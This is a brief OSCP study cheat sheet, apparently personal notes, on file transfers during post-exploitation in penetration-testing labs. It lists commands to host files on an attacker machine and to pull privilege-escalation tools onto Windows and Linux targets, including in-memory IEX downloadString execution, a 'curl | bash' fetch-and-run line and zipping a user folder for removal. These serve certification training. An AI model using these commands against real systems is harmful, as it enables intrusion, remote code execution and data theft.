File Transfers

Notes from oscp.adot8.com — post exploitation.

#post exploitation#adot8

source · oscp.adot8.com · post-exploitation/file-transfers ↗

File Transfers

Hosting files

bash

$python -m SimpleHTTPServer 80

bash

$python -m pyftpdlib -p 21 --write

bash

$smbserver.py share `pwd` -smb2support

Transfering via Windows Machine

powerquery

01certutil.exe -urlcache -f http://10.10.14.8/PowerUp.ps1

powerquery

01curl http://10.10.14.8/PowerUp.ps1 -O PowerUp.ps1

powerquery

01powershell.exe Invoke-WebRequest http://10.10.14.8/PowerUp.ps1 -OutFile PowerUp.ps1
02 
03powershell.exe -command iwr -Uri  http://10.10.14.8/PowerUp.ps1 -OutFile C:\Temp\PowerUp.ps1 "

A .ps1 script can be ran in memory instead of being saved to the disk using iex

<pre class="language-powerquery"><code class="lang-powerquery"><strong>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/PowerUp.ps1');Invoke-Allchecks" </strong></code></pre>

code

01IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/Invoke-Portscan.ps1')

Compress folder into zip before downloading

powershell

$Compress-Archive -Path C:\Users\nikk37\ -DestinationPath 1.zip

Transfering via Linux Machine

bash

$wget http://10.10.14.8/linPEAS.sh

bash

$curl http://10.10.14.8/linPEAS.sh -o linPEAS.sh

bash

$curl http://10.10.14.6/linenum.sh | bash